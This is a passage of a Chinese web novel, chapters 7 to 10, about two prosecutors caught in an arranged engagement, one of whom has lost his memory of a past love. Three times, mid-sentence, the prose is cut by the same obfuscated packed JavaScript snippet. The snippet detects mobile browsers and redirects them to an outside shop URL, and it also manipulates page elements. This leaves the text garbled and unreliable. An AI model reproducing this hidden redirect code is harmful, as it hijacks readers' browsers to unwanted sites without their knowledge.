“这门婚事,我父母同意。” “什——” 闻序大惊失色,几乎瞬间就拧了眉,侧头看去,却听方鉴云又道: “我父亲发迹之前,和闻伯父也算是共患难过的兄弟。若是因为发达了,就将朋友弃如敝履,以后我们方家在联邦、在首都还如何立身?更何况……” 说话间,青年已缓缓起身,闻序的视线也随着对方的动作一寸寸上抬,眼睁睁看着对方眼含笑意,款款上前。 “二十四岁就成了纪检最优秀的检察官,可谓前途不可限量,我父亲非常看好你,闻序。” 方鉴云说。 一直看不见的手瞬间揪住了五脏六腑,闻序喉咙一紧,咬紧牙关: “方鉴云,那你自己呢?你——你刚刚认识我两天,就要被父母安排结婚,难道你是个没有独立思想的废物?你就不排斥、不想反抗?!” “父母之命,媒妁之言。”方鉴云看着他,语气极其诚恳。闻序一个激灵: “什么年代了,还他妈的媒妁之言!你们有钱人脑子是不是有病?!” 方鉴云忽然嗤笑:“那请你告诉我,该因为什么结婚比较符合现在的潮流?你该不会想告诉我是因为真爱吧?” 闻序本深吸了口气,闻言忽然戳破了的气球般泄了气势,甚至微微地怔住了。这会儿光景,方鉴云又上前一步,浓密的长睫羽毛似的隔空拂过,眉梢一动。 “闻序,”他收起假正经似的称谓,伸出手,“按照联邦人的旧俗,有了婚约,你我就该互称未婚夫——” 啪! “别碰我!” 一声脆响,待闻序反应过来,自己已然挥开了方鉴云那截细得盈盈不堪一握的手腕。方鉴云后退半步,张了张嘴,最后化作一个抿着唇的冷笑。 “这就炸毛啦。”他觑起眼睛,说。 闻序也后退半步,二人之间隔开一堵厚厚的空气墙。他憎恶地瞪着方鉴云的脸: “你放尊重点,你我至少正常同事还有得做。别逼我对你感到恶心。” 说罢,闻序转身就走。方鉴云面无表情地盯着闻序的背影,唯有垂在身侧的手指尖动了动,隔了几秒,也抬腿就跟了上去。 闻序人高马大,一双长腿步伐飞快,刮风似的疾步下楼,眨眼就没了踪影。方鉴云本以为自己要跟丢了,谁知刚走到楼下大门口,忽然看见门外闻序站着的背影,撑起挺阔制服的后背肌肉因为压抑的怒火,仿佛都绷得石头一般硬邦邦的。 他想不通都闹翻了脸,闻序还有什么等在这儿的理由,等快走到跟前,忽然听到闻序背对着他,对着他看不见的某个方向沉声喝道: “——谁准你们两个来检察院的!” 方鉴云蹙眉。他心里未卜先知地涌起一种预感,身体也感知到什么似的放慢了脚步,可还是晚了。 “那天在咖啡厅你不告而别,爸妈这不是没办法,只能来这里找你了嘛!儿子,和方家的婚事,你冷静下来好好考虑考虑……” 多年以前,方鉴云还不是“方鉴云”的时候,就曾经听过这个声音。 ——闻序的亲生父母的声音。 一副饱经风霜的老人的面孔从闻序坚实的臂膀侧面探出,本是无意间向内张望,却在下一秒与站在原地不动了的方鉴云四目相对。紧接着,那老男人瞳孔放大,激动地哎了好几声,哆嗦着伸手一指: “那,那该不会就是方家那个omega小孩,咱们未来的儿婿吧?!” * 这一嗓子不要紧,闻序连带着身后几步之隔的方鉴云,都齐齐愣住了。 “哟,小方,我的好儿婿呀!” 又是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658583|144024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声亲密到夸张的呼唤,闻母反应更快,已经大呼小叫着小碎步跑上来,亲亲热热地拉住了方鉴云的胳膊肘:“伯母总算见到你了!说起来,你们方家还没移居国外的时候,我还抱过你呢!哈哈哈哈……” 一旁的闻序忍无可忍,仗着长手长脚,一把将闻母拽了过来,力气之大险些把方鉴云也带了个趔趄: “妈!你别胡搅蛮缠行不行,都说了我不会和他结婚——” “什么胡搅蛮缠啊!”正是午休结束后上班打卡的时间,门口来来往往的人都能清楚听见闻母尖细的嗓音,“小方大老远地赶回来,就是为了嫁到我们闻家的,儿子你怎么可以说这种辜负人家的话?” 眼看着路过的人纷纷投来吃瓜群众的目光,闻序实在招架不住,试着软下语气商量着: “爸,妈,算我错了,以后只要你们要钱,不管要多少我都给,成吗?结婚这事咱们别再提了,就当我求你们,好不好!” “那怎么行,一顿饱和顿顿饱还是——”闻父说到一半,意识到什么,立即改口,“方家现在是什么档次,有多少人烧香拜佛都求不来小方这样的好姻缘,你小子别不识好歹……” 说着,闻父的眼神刀子似的在方鉴云身上剜了一圈,见方鉴云只穿着和他人一样的检察官制服,耳垂、脖颈、手腕上干干净净,连露出来的一件儿名贵配饰都没有,顿时将信将疑起来,好在最终还是勉强露出一个笑容: “小方啊,二十多年不见,咱们要不去吃顿饭,好好聊一聊?你和闻序顺便也增进一下——” “够了!” 一声暴喝,不但闻父闻母噤了声,甚至引得躲在远处窃窃私语的同事都吓得不轻。方鉴云微微侧目,深望着闻序气得下巴都在颤抖的侧脸。 大约是因为深陷这场闹剧的漩涡中心,被当做小丑一般任人围观、取笑,闻序的最后一道心理防线也已轰然坍塌。闻序一抬手臂,指着外面: “……滚,你们两个都给我滚!” “闻序!”闻父登时恼了,调门也跟着拔高,“你这个不孝子,怎么和你爸妈说话呢!” “我这个从小就被你们当成负担,赶出家门的不孝子,能够认你们做爹妈,已经是仁至义尽!”闻序怒极反笑,眉心耸起,“我绝不会和——” 他用力一挥,指尖带起一阵风,几乎甩到方鉴云鼻尖,“——这个家伙结婚,不管你们怎么把他当成宝,我有我的心上人,方鉴云和我,绝无可能!” 他最后几乎是吼着说完,浑身的肌肉都用力到发颤,却没有注意到,被他指着的方鉴云古井一般墨色的双眼忽然眸光波动,瞳孔的焦聚瞬间就散了。 8. 第 8 章 雾霾过了,深秋的首都,阴雨便接踵而来。 难堪不已的闹剧,最终以闻序强势地打了电话叫保安把自己的父母“请”走结束。检察院已经待不了了,闻序索性请了假,连伞都没回办公室取,就这样冒着秋雨往回走。 冷雨连绵。闻序阴沉着一张写满了生人勿近的脸,双手插在兜里,逆着孢子般一把把撑着伞的人流穿过马路,来到街头。灰色的长风衣被斜风细雨淋湿,变成斑斑点点不匀称的石灰色,仿佛被泪水点点洇湿的老旧羊皮纸。 他一路闷着头,走得脚下生风。 平日办案风里来雨里去,他早已养成走路快的习惯,可这次不同。他好像要把满腔的不平都发泄在脚下的路砖上,若不是街上都是人,他甚至想撒开腿跑,跑到喘不上气,跑到筋疲力尽为止。 就这样一直走了不知有多久,连回家要拐的分叉路都忘记了,闻序憋着一股邪火,直到走到一条人相对少了些的路上,才慢慢降低步速,直至停下来。 他停了,身后某个如影随形似的脚步声便也停下。 闻序用尽最后的力气,揣在兜里的双手攥拳,指甲深深嵌进掌心。 他转过身来。 “你跟着我干什么。” 在他身后,方鉴云撑着一把透明的塑料伞,隔着淅淅沥沥淌下水珠的伞布,静静看着他。 “我没跟着你,”方鉴云歪了歪头,“我到家了。” 闻序偏头向他示意的方向看去。难怪这里行人稀少,他心里装着事,竟没发现这里是一栋独栋别墅。 方家留在首都的那套价值不菲的私产,家里随便一件挂画、一只花瓶,都足以让闻序的父母身上背着的债务瞬间清空的那种。 闻序在看眼前的豪宅,而方鉴云的目光却落在闻序身上没变。秋风夹着雨丝从伞下打来,吹动并不厚实的衣衫,描摹出青年紧窄的腰身,以及有些空荡的黑色长裤下笔直瘦长的双腿。 “你父母已经让步了,可以把婚礼推迟到一年之后。”方鉴云说,“他们的意思是,可以给你一年时间,以未婚夫的身份适应,慢慢想开。” 闻序微微低下头。额前的碎发遮住青年深邃的眉眼,令人看不清他的表情。 方鉴云握着伞柄的手紧了紧,手背上微微浮起青色的血管: “我听说,首都房租太贵,你一直在住检察院的单身公寓。其实,方——我家有不少空房间……” “方鉴云。” 方鉴云看着闻序抬起头,那双眼角锐利的双眸锁住他的一瞬,说话声戛然而止。方鉴云的呼吸都放缓了,却听见闻序低沉的声音里多了些绝望到了极点的疲惫: “你是不是以为,我不知道你打的什么算盘?” “你们这种人,靠着父母的财力、权势,轻轻松松就可以实现自己所谓的梦想,现在发现这检察官的位置太苦太不好做,又临阵退缩不了,所以盯上了一穷二白的我,妄想着给我点小恩小惠就让我这个倒插门的儿婿帮你的仕途扫平障碍。” 雨丝擦过闻序冻得苍白却英俊的面颊,微微淋湿的额发衬得那双灰调的眸子都萃出寒湿的凉意,“这样的好姻亲,我来检察院后见过太多了。有的是人愿意给你当狗,但在我这,免谈。你要是真敢以我的未婚夫自居,我一定和你没完。” 风声骤然逼紧,如凄厉的呼嚎。方鉴云连自己的呼吸都听不见了,手上只觉被吹歪的伞扯得力道一重,身形也跟着晃了一下。 他的声音放轻,几乎快要消散在风雨之下。 “你说你有心上人了,”方鉴云问,“那个人是谁,为什么不和你结婚?” 闻序眼中闪过一丝隐晦的光。 “就是一辈子不和他结婚,也轮不到你。” 说完,闻序转过身走了,留给方鉴云一个宽阔的背影。方鉴云撑着伞站在原地,一直望着闻序离去的方向,直到那背影逐渐变成小小的黑点,在视线里都看不见了,他还是站在门口没动。雨滴砸在方鉴云头顶的透明伞面,绽开一朵朵水花,哔哔啵啵地闷响。 方鉴云的脸上,从头到尾都毫无感情一般波澜不惊。 唯独苍穹之上的阴云笼罩住最后一丝天光,也夺走了那黑漆漆的眸中最后的一丝光亮。 * “你居然主动和闻序坦白了?” 方鉴云握着手机,不动声色地望了一眼屋内翻查文件的专员,跨过地上堆积成山的查封证物,来到门外,确认四下无人后,才压低声音。 “我知道你想说什么,可昨天那个情况下我必须分散他的注意力,否则他眼看着就要去查任晓萱的底细了。” “你分散他注意力的方式就是把自己推到他的对立面?”电话里楚江澈的声音很不悦,“这不是因小失大吗?你明明有更好的——” “方检察官,谭上校次卧的东西已经查过了,清单在这,您看一下。” 方鉴云巴不得有个脱身的机会,连忙放下手机,接过专员递来的名录,礼貌一笑:“辛苦。先去主卧吧,那几个保险柜是重点,一会儿我和你一起翻看。” 走廊里的状况和屋内比起来乱得不遑多让,到处都是打包和装箱的证物,几乎很少有大片的下脚的地方。待专员离开,方鉴云单手抖了抖捏着的几张纸,另一只手重新拿起手机贴在脸侧:“不好意思啊江澈,你刚说什么来着?” 电话里的楚江澈:“……” 谭峥被警署暂时羁押后,检察院迅速批准了对其住宅的搜查令,一般这种极其繁重琐碎的活儿是无需检察官亲临现场的,可方鉴云毕竟是新人,还需要积累一些经验。 再者,选择来到这儿,也是为了躲一个他暂时不想面对的人。 方鉴云目光在清单上一排排扫过: “昨天我见到他父母了。说起来,这么多年过去,我还是第一次亲眼见到他们。” “他们说什么了?” “那倒没有,”方鉴云轻描淡写,“倒是闻序被逼急了,当着所有人的面说,他有个心上人,要是不能和那个人结婚,他宁愿终生不娶。” 电话那头楚江澈呼吸一顿:“他真这么说?” “啊,我还追问来着,不过现在他烦我烦得要命,不肯告诉我。” 方鉴云落在纸上的目光有些放空,短促地一笑,那笑意还没传递至眼角,便一阵烟似的消散了。他不由自主地在狭窄的走廊里踱步,慢慢向着楼梯口走去,边走边说: “以我过去对他的了解,他既然说得出,就一定做得到。” 电话那头,楚江澈静默了一会儿,低声道:“作为你的战友,我不得不提醒你,你现在的做法无异于在走钢丝。婚约的事还有回旋的余地,我劝你再好好想想,抓紧和闻序划清界限,闻序父母那边以后再想办法处理。” 方鉴云也沉默了,不知不觉走到楼梯边上。楚江澈的声音夹杂着电流的沙沙声: “算起来你们也快结束了,我让萧尧去接你来我家,有关那个人的计划咱们还要再完善一些,当面商量更好。” “好。” 方鉴云阖眼。一股油然而生的倾诉欲忽然从胸腔里攀升出来,他极少和楚江澈抱怨什么,或许是昨日家门口那场雨的缘故,把他的神智都涤荡了。 “我只是有点想不通,”方鉴云嘴唇蠕动了一下,“闻序那么优秀,他喜欢的那个人到底会因为什么,才不肯和他结——” “你怎么在这?” 微张的薄唇一阵战栗,方鉴云眼皮猛地睁开,唰地放下手,拇指按下通话结束键,攥着手机背到纤盈的腰后。 下方的楼梯拐角处,闻序抬起头,看向方鉴云的眼神却带着看待犯人般充满着居高临下感的审视。 他眯起眼睛,看着方鉴云藏在身后的手。 “说话。”青年低声说。 方鉴云咬了咬牙关,背在身后的那只手不着痕迹地一通盲操,点开通话记录,一边准备将刚刚的记录删除,一边垂眼望向闻序的眼睛。 闻序没有穿检察官制服,只是普通的西装衬衫和马甲,并不修身的休闲款式,却刚刚好被alpha精壮健美的身材撑起来。 检察官整天出外勤时,若是出于查案需要,是可以不穿制服的。这就证明,闻序今天是打定了主意要来谭峥的搜查现场。 方鉴云忽然明白闻序这个经验丰富的检察官为什么也会毫无征兆地出现在这儿了——他们来这里的理由是一样的,都是为了躲避,却又不约而同地来到谭峥家中,再次不期而遇。 于是方鉴云定了定神,双唇微启: “你有你的调查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658584|144024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思路,我也有我的。” 最后一个字说完,通话记录正好被删除完毕。方鉴云把手机放回衣兜里,看着闻序忽然冷笑,接着一步步迈上台阶,直至踏上二楼的地板,与他平齐。 身高差的缘故,方鉴云不得不慢慢抬头,直到需要仰起头才能与闻序对视。对方同样目不转睛地盯了他一会儿,这才慢慢点着头,挑了下眉毛。 “不错,”闻序说着从风衣口袋里拿出一副白手套,“井水不犯河水,总比某些人死缠烂打、在我眼前晃悠要强一百倍。” 方鉴云没说话,脸上的肌肉却明显一僵。闻序低下眼帘不再看他,撑开手套戴上,灵活地伸展手指活动了一下,随即迈开步子,把眼前的omega当做空气一般从他身旁走过,朗声道: “小许、小刘!收尾工作交给我,跟我来!” 脚步声渐行渐远,方鉴云却站着没动,兀自发了好一会儿呆。直到天花板上传来柜子挪动的尖锐摩擦声,他才如梦初醒,慢慢走下一楼,推开谭峥家的门,来到室外。 不远处,黑色的宾利轿车已经熄了火,静静等候在一边。见方鉴云出来,驾驶室的车窗缓缓放下,一张戴着细框眼镜的青年的脸出现在窗内。 萧尧在车内对他招招手,微笑着:“先生,上车吧。” 方鉴云忽然像一个反应迟钝、如同电量耗尽的机器人似的,半天才点点头,有些讷然地走过来,绕到副驾驶那侧,开门上车。萧尧等他关了门,不急着启动车子,问道: “你看起来脸色不太好,是发生什么事了吗?” 方鉴云小幅地摇摇头,伸手摸索了一阵才摸到安全带拽出来。 “我没事。” 他想到什么,偏过头看向萧尧,后者对他突然投来的关注有点意外,但还是很快调整神态,露出一个儒雅随和的笑容。 他问:“先生,您的情况少爷和我说了,但有一件事我还不确定,想问您一下……往后我是该叫您方先生,还是该按您的本名,叫您——” 方鉴云这次反应极快地打断了他:“就叫方鉴云吧。我本以为除了楚江澈,应该还有人记得我的,既然没人记得,原本的身份不要了也罢。” 这话里满满的消极意味,饶是萧尧这种算得上八面玲珑的,一时也不知该怎么接。方鉴云看着他,忽然又问: “听说当初你父母就为楚家工作,后来楚江澈父母遇难,他选择去北国深造,也是你力挽狂澜,让楚家的公司免于破产。” 萧尧:“力挽狂澜谈不上。少爷的父母对我一家恩重如山,我只是做了该做的事。” 方鉴云认真地看着他:“这六年,一定有不少人给你抛过橄榄枝,也有不少人告诉过你,楚家迟早要完了。良禽择木而栖,你就没想过跟着别人?” 萧尧怔了怔,继而无奈一笑,不再看方鉴云,启动车子。 “也许是该如此,”萧尧望着前方轻声说,“可我这人挺认死理的,我跟定的人,这辈子轻易不会换。” 方鉴云也怔住了。 “是啊,”半晌,他喃喃出声,“跟定了一个人,又怎么会为半路杀出的不值当的家伙……” 他忽然说不下去了。萧尧隐约觉察到方鉴云情绪上的不对劲,斟酌了一番,还是选择视而不见。待车子开动,方鉴云也转回头,闭上眼睛,容色雪白的脸颊却压抑地轻微抽搐了一下。 “重山寺还在吗?”他忽的出声道。萧尧开着车,回答: “还在。明天是周末,香火可能会旺一些。方先生要去?” “去散散心,”方鉴云想了想又补充道,“我自己去就好,不麻烦你们送了。我这人不大信命,不过和这寺庙倒也算有些缘分,明日我想去求个签……要是神佛也劝我放弃,我和闻序的婚事,就彻底算了。” * 与此同时,数米高的阳台上,闻序推开窗子,手肘搭在窗边,向下望去。黑色的宾利轿车无声地驶入了车流中。 他头也不抬地问屋里的那两个专员:“方检查是坐轿车来的?” 其中一个专员:“没有啊,方检察是和我们一起坐公交来的。怎么了,序哥?” 闻序眯起眼睛。 “没什么,”他撤回身,啪的关上窗子,“随口问一嘴。继续吧。” 9. 第 9 章 周末的重山寺,果然如萧尧所言,香客不断。 “阿弥陀佛,施主求签,所为何事?” 殿宇外阴雨淅沥,雨水沿着拱翘的屋檐垂落,砸在坑坑洼洼的青砖石面。方鉴云收起伞,对着年迈的方丈微微欠身。 “我想解惑,”方鉴云说,“我想知道,我和一个人的缘分是否已尽。” 那方丈双手合十:“施主,解惑和算缘是两码事。惑或许可解,可缘分外人是解不开的。” 方鉴云微怔。那老者呵呵一笑,示意方鉴云来到蒲团前,又拿过一个签筒。 “算缘和求缘,则又是两码事了。”老方丈轻抚白须,望着青年的目光慈祥而和蔼,“施主是第一次来重山寺吗,可知道这里求签的方式?” 方鉴云把伞放下,抬头望去,与端坐莲花台上的佛像对视,面无悲戚,眼底的墨色却愈发黑得深不可测一般。 他跪坐下去,伶仃的膝盖骨将长裤的布料顶出一块尖锐的凸起,抵在柔软的蒲团上,裤脚下露出一截被长袜包裹着,踝骨分明的脚踝。 “我知道,”他闭上眼睛,低声念叨,“六年前,有人曾经也带我来过这儿,想求缘。” * 两份快餐摆到桌上,连星帆掰开筷子,又拿出一副递给对面的闻序。 “你个联邦检察官,混到跟我一起吃盒饭这份儿上,也真够窝囊的。” 他说。闻序打开自己那份盒饭,把钱包随手放在桌边,听了这话嘁了一声。 “业务做到全处甚至全部门第一也没用,该提拔谁照样提拔谁,”闻序的声音几乎要淹没在嘈杂的快餐店中,“我现在也想开了,说不定人家还觉得我不是不同流合污,而是假清高呢。他们那些垃圾话我早就免疫了。” 连星帆无奈地笑了笑,二人同时低头吃饭。 闻序和连星帆之间,既是医患,也是朋友。他和父母常年失联,检察院的同事嫌弃他穷,奚落、排挤他,好在闻序也不是那种习惯性反思的内耗人格,真有什么心事了,也只会借着治疗的名义同连星帆说一说。 他的社交关系太简单了,简单得仿佛缺失了最重要的一块。 “钱包放在那,不怕被人偷走啊。” 连星帆咽下嘴里的食物,道。闻序扒了口饭,放下筷子,把钱包打开,展示给他看:“你看看,这里最值钱的就是上次过节检察院发的购物卡了,贼偷了都嫌寒酸。” 连星帆瞥了一眼,用筷子头指了指钱包的透明夹层: “你还带着这玩意?” 闻序把钱包翻过来,看了看,自然而然道:“哦,这个是一直放在钱包里的护身符,看样子好像是重山寺的。一直放在钱包里,也没太注意……” “等一下,闻序。” 连星帆忽然想到什么,在闻序“哎你真偷啊,我就说说”的阻拦下依旧不由分说拿过钱包,仔细端详了一番,皱起眉头。 “得来全不费工夫啊……” 连星帆一句没头没脑的感叹,把闻序搞蒙了:“你说什么呢?” “我说你是个蠢货。”连星帆把钱包怼到他眼皮子底下,“这护身符,是不是你受伤失忆之前就有的?” “是啊,那又怎么了?” “线索,线索啊!”连星帆恨铁不成钢地抖了抖钱包,差点拍到闻序的脸,“成天嚷着要找你的心上人,结果这护身符的来历你居然想不起来,也不去查?” 闻序怔住了。连星帆解释道:“这护身符我见别的患者戴过,是重山寺里花钱才能求来的姻缘符,需要先敬了香火,最好两个人都戴着更灵验。说不定这姻缘符正是当年你和心上人在重山寺一同求来的呢?” 闻序眼睫剧烈一颤,握着筷子的手下意识松开,木筷啪嗒掉在桌上。 纷乱的记忆,如残破的胶卷,从脑海中断断续续反映出闪回的画面。 * “……真的管用吗,阿序?这么贵,要不然还是算了,不一定灵验的。” “怎么不灵,我问过小和尚,他们会把敬香求符的施主姓名登记下来,供上三世灯呢。” 青砖黛瓦的高墙下,十八岁的少年将一个绣着福字的绛红色护身符放在另一个面目模糊的少年掌心,扳着对方纤长的指节,让对方把手握紧。 “收着,啊。等下个月发了工资,我再来这,给你求一个开运的手钏儿。” “那这个呢,这个不是求好运的吗?” 少年紧张地舔了舔嘴唇,挪开视线。 “这个是……求平安的,保佑你平安健康,顺遂无忧。” * 椅子腿划过地板刺啦一声响,连星帆手里的钱包啪的被夺走,他吓了一跳,看着猛然起身的闻序:“你没事吧?等等,闻序你去哪儿——” 下一秒,闻序已然冲出快餐店,拉开路边停着的空出租车门,几乎把自己塞进车里,对着一脸状况外的司机大声道: “去重山寺,越快越好!” 该死,该死——稀里糊涂带着这护身符六年,他怎么就没想到去查一查护身符的来历?! 许是见闻序脸色铁青,那司机不敢怠慢,车子开得飞快。路边的景象飞速向后倒退,闻序从钱包里抽出护身符,指尖缓缓抚过有些抽丝的泛旧布料,皮肤上细密微扎的手感顺着神经传达至大脑深处,回忆到了某个至关重要的截点,却又一次随着太阳穴的阵痛生生阻断。 闻序握紧了手里的护身符,骨节用力到泛起青白。 车子很快到达目的地,闻序扔下钱,开门下车。这一会儿功夫,外面的雨已经渐渐大了,积雨云层层堆叠,眼瞅着就要酝酿起一场暴雨。寺庙里的香客都少了一半,剩下的也急匆匆往外赶,唯有闻序逆着人群,迈开长腿越走越快,最后干脆奔跑起来。 “这位施主,您这是要去哪?” 远处一个站在廊下的和尚看见闻序这幅反常的样子,主动喊了一声。闻序在他身边停下,那和尚看清他的脸色,也吃了一惊: “施主您还好吧?看你行色匆匆的——” “这个护身符,是不是用来求姻缘的?” 闻序直勾勾地盯着和尚,后者一愣,看着闻序手里的护身符,点点头:“是,可以单独求一个,也可以伴侣成对来……” “来求姻缘的,是不是都要敬香,供奉三世灯,要登记名册?”闻序因为语速过快,甚至有些咄咄逼人的意味,“我想看看当初登记的名册,可不可以带我去?” “可以的施主,您随我来。” 那和尚带着闻序,绕过主殿,来到一件供灯的侧屋。那和尚查看了闻序护身符里的号码,随后从柜子中取出一本名册,翻看了一阵,摊开一页,递了过来。 “就在这儿,施主您看。” 闻序的心怦怦直跳起来,一种紧张到令人干呕的窒息感缠住了他的咽喉,他弯下腰,咽了口唾沫,顺着和尚指的方向定睛看去。 紧接着,青年狠狠愣住了。 那上面的确有两个并排的名字,可其中哪一个都无法唤醒他的记忆——甚至没有任何一个是他的。 “这,这不是我,”他一下子抬起头,声音发抖,“师父你搞错了,这两个人里没有一个是我的名字——” 脑中忽然传来尖锐的耳鸣,闻序捂住头,嘶了一声,只感觉什么都听不见了。 * “那你呢,阿序,你的平安符呢?” “我啊……” 少年挠了挠下巴。恰逢十五,重山寺人头攒动,给对方求符后他留了个心眼,发现角落里有个掉在地上的姻缘符,大概是谁不小心弄丢在这里的。 幸亏他机灵,趁着没人注意把它拾起来,这样自己把所有钱都用来给对方求符的事,也就不会露馅了。 “我的在这呢,你看。”少年拿出捡来的护身符,边说边擦了擦上面的灰,“护身符你一定要随身带着,这样姻——我是说,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658585|144024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样它才能护着你,知道吗。” 或许佛祖在上,会体谅自己这份不敬的——就算不原谅也没关系,至少那个人的护身符,是他堂堂正正、心意虔诚地求来的就好。 * “……施主,施主?” 和尚焦急的声音传来,闻序慢慢放下手,再抬眼时,碎发遮掩下那双灰调的瞳孔却泛起一片猩红。 “我没事,”他声音浑浊,“多谢,麻烦师父了。” 说完,闻序不顾那和尚呼唤他,身形一晃,转过身几乎跌跌撞撞走出门去,踏入瓢泼的雨中。 六年了,这是他唯一一次自以为如此接近失去的真相。可老天爷似乎热衷于愚弄他,只用了只言片语的一段回忆,就足以将他高筑的防线击垮,让他溃不成军。 他想起来了。六年前,十八岁的自己花光了唯一的一丁点零花钱,给那个人求了姻缘符,自己却为了让对方不担心,戴着一个陌生人的姻缘符,就这样懵懵懂懂地过了六年。 闻序知道,重山寺登记的名录里,一定会有他的心上人的姓名。 只是他忘了。偏偏他忘了。 雨淋湿了身子,心却痛如刀割。闻序忽然感觉浑身犹如铅重,晃晃悠悠地走了几步,在院内的一条湿漉漉的石椅上坐下,颓丧地俯下身,手肘撑着腿,把脸埋进掌心。 遥远的天边传来滚滚的雷鸣。雨势骤然密集,闻序的衣服很快全湿透了,可他全然没有要避一避的意思,化作一尊雕塑,连周身的空气仿佛都陷入死一般的寂静,与满世界哗哗的雨声格格不入。 “——闻检察官,是有什么下雨不带伞的癖好吗?” 头顶雨点的敲击感忽然消失了。闻序起伏的肩膀一顿,抹了一把脸上的雨水,慢慢放下手,眼底仍然血丝遍布。 一把透明的大伞覆盖了他头顶上方。方鉴云站在他身前,黑色的风衣外套勾勒出他清瘦却干脆利落的身材线条。 闻序阖上眼睛。 “怎么总是遇见你啊。” 他说。方鉴云面无表情地看着他,声音毫无温度: “首都人尽皆知,重山寺求的姻缘非常灵。实话告诉你,我今天来也是为了要一个答案,其实你说得对,或许我们之间本就不该强行挂钩——” “噗——哈哈、哈哈哈哈……” 方鉴云的说话声戛然而止。他有些不可思议地看着闻序肩膀抖动,笑声却比哭了还要崩溃一般,清秀的眉眼间闪过一抹讶色,张了张嘴,却被闻序抢了先: “他们都是骗子。这里的姻缘,根本就不灵验。” 闻序终于笑够了,仰起头,被雨水淋湿的眉眼一向是带着男人味儿十足的英气,却因为蒙着水雾,多了分痛苦与破碎,就这样落在方鉴云的眼中。 “六年前,我在这和我的心上人求过姻缘的。” 他不知道为什么要和方鉴云这个傲慢的大少爷说这些,可是此刻天地之间,只有对方是能够听他倾诉的对象。 “可是我出了场车祸,这里受了伤,”他抬手在太阳穴上点了点,疲惫一笑,“刚醒来的时候,我连自己是谁都不记得了。六年里我想遍了所有法子,什么都想起来了,唯独那个人,唯独那个人……” 他苦笑出声,颓然靠在冰冷的椅背上,“我好不容易想起来,当年为他求了一个姻缘符,可我连他叫什么都忘了……重山寺的姻缘,为什么偏偏落不到我的身上?” 话梢的尾音里,悄悄染上一丝隐忍的哽咽。闻序闭上双眼,仿佛就当方鉴云不存在,被抽干了力气一般不再说话了。 也因如此他刚好没有看到,说完这番话之后,方鉴云的瞳孔瞬间放大了,他下意识伸出垂在身侧的那只手,仿佛想去触碰坐着的人,可指尖却硬生生停在距离对方咫尺之间的距离,犹豫了很久,最终颤抖着攥紧成拳,默默放下手臂。 轰隆隆一声闷雷铺天盖地席卷而来,大雨倾盆如注,唯独一方狭小的伞下,万籁无声。 10. 第 10 章 砰! 大门猛地摔上,方鉴云一个踉跄,跌入玄关,扶着柜子,弯下腰狼狈地喘着气,伞尖儿还在滴滴答答地往下淌着水。 偌大的方宅里安静极了。他三两下把鞋蹬掉,将伞随手丢进伞架里,失魂落魄地穿过走廊,来到客厅里,几乎跌坐在沙发角落,从上衣口袋中颤抖着摸出手机,拨通电话。 电话那边很快接通,刚喂了一声,方鉴云凸起的喉结剧烈一滚,双手握住手机,声音颤抖得不像话。 “他失忆了,”方鉴云喘息急促,“一定是六年前,他是为了救我才……” “方先生?”电话里传来萧尧疑惑的声音,“您慢慢说,我没太听懂——” 方鉴云的声线骤然神经质地拔高了:“是我害了他!难怪他看上去那么难过,难怪他说他的心上——” 方鉴云忽然手一哆嗦,整个人僵住了。 “他说他的心上人是……是我……” 他喃喃着,宛若陷入梦魇。电话那头焦虑地喂了两声,又唤了句什么,紧接着里面有人说了声“把电话给我”,一阵窸窣。 楚江澈冷静的声音传来:“刚刚在忙,萧尧替我接的电话。怎么了?” 方鉴云漆黑的瞳孔深处,忽然眸光一跃,那张一向苍白而冷漠的脸上忽然生动了起来,连带着那原本就清秀漂亮的五官都多了些明艳的色彩。 他把手伸进风衣口袋里摸索了一会儿,拿出一根细细的竹签。 “我去重山寺求签,碰见闻序了。”方鉴云低头看着手里写着下下签字眼的竹签,忽然笑了笑,脸上浮现出从未有过的温柔的神情,“本来我是打算放弃的,可是江澈,我改主意了。佛祖说不行的事,也不代表不能逆天改命了,对不对?” 电话那头楚江澈沉吟一下:“抽的什么签?” 方鉴云轻笑:“我当时信就罢了,你也信?” “不信,”楚江澈评价道,“但和因为对方迷恋过去的你就对现在的你心生嫌恶、而你反倒甘之如饴的这种情况比起来,你说我们谁更荒谬些?” 方鉴云的笑容褪去了几分。他慢慢放下签子。 “可闻序还没有放弃,”他低声说,“就算我还不能告诉他真相,至少……啊!” 青年忽然触电般一颤,身子抽了骨头似的栽倒下去,伏在沙发上,双腿也跟着绞紧,风衣下的身躯克制不住地发抖。 “怎么了?”电话那头紧张起来,“喂?出什么事了!” “唔……” 